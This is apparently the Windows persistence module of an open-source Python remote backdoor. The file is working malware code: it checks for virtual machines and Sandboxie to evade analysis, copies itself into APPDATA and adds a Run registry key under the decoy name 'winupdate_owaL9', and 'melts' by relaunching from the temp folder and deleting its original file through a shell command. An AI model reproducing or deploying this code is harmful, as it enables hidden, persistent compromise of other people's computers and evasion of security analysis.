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1  """
2  https://github.com/xp4xbox/Python-Backdoor
3
4  @author    xp4xbox
5
6  license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
7  """
8
9  import ctypes
10 import os
11 import shutil
12 import subprocess
13 import sys
14 import tempfile
15 import winreg
16
17 import wmi
18
19 from src import errors
20 from src.client.persistence.persistence import Persistence
21
22 REG_STARTUP_NAME = "winupdate_owaL9"
23 COPY_LOCATION = os.path.normpath(os.environ["APPDATA"])
24
25
26 class Windows(Persistence):
27     def detect_vm(self):
28         _wmi = wmi.WMI()
29         for objDiskDrive in _wmi.query("Select * from Win32_DiskDrive"):
30             if "vbox" in objDiskDrive.Caption.lower() or "virtual" in objDiskDrive.
31                 Caption.lower():
32                 return True
33             return False
34
35     def detect_sandboxie(self):
36         try:
37             ctypes.windll.LoadLibrary("SbieDll.dll")
38         except Exception:
39             return False
40         return True
41
42     def remove_from_startup(self):
43         try:
44             key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
45                                 "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.
46                                 KEY_ALL_ACCESS)
47             winreg.DeleteValue(key, REG_STARTUP_NAME)
48             winreg.CloseKey(key)
49         except FileNotFoundError:
50             raise errors.ClientSocket.Persistence.StartupError("Program is not
51                 registered in startup.")
52         except WindowsError as e:
53             raise errors.ClientSocket.Persistence.StartupError(f"Error removing value
54                 {e}")
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68 def add_startup(self):
69     curr_file = os.path.realpath(sys.argv[0])
70
71     if curr_file.endswith(".py"):
72         raise errors.ClientSocket.Persistence.StartupError("Client must be built
73         with pyinstaller for this feature")
74
75     try:
76         app_path = os.path.join(COPY_LOCATION, os.path.basename(curr_file))
77
78         if not os.path.normpath(os.path.dirname(curr_file)) == COPY_LOCATION:
79             try:
80                 shutil.copyfile(curr_file, app_path)
81             except Exception as e:
82                 raise WindowsError(e)
83
84         regkey = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
85         "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.
86         KEY_ALL_ACCESS)
87         winreg.SetValueEx(regkey, REG_STARTUP_NAME, 0, winreg.REG_SZ, f"\"{
88         app_path}\"")
89         winreg.CloseKey(regkey)
90     except WindowsError as e:
91         raise errors.ClientSocket.Persistence.StartupError(f"Unable to add to
92         startup {e}")
93
94 def melt(self):
95     curr_file = os.path.realpath(sys.argv[0])
96
97     # ignore melting if client has not been built
98     if curr_file.endswith(".py"):
99         return
100
101     tmp = os.path.normpath(tempfile.gettempdir()).lower()
102
103     curr_file_dir = os.path.normpath(os.path.dirname(curr_file)).lower()
104
105     if tmp != curr_file_dir:
106         new_file = os.path.join(tmp, os.path.basename(curr_file))
107         # if there is a problem copying file, abort melting
108         try:
109             shutil.copyfile(curr_file, new_file)
110         except IOError:
111             return
112
113     os.startfile(new_file)
114     subprocess.Popen(f"timeout 4 & del -f {curr_file}", shell=True)
115     sys.exit(0)

```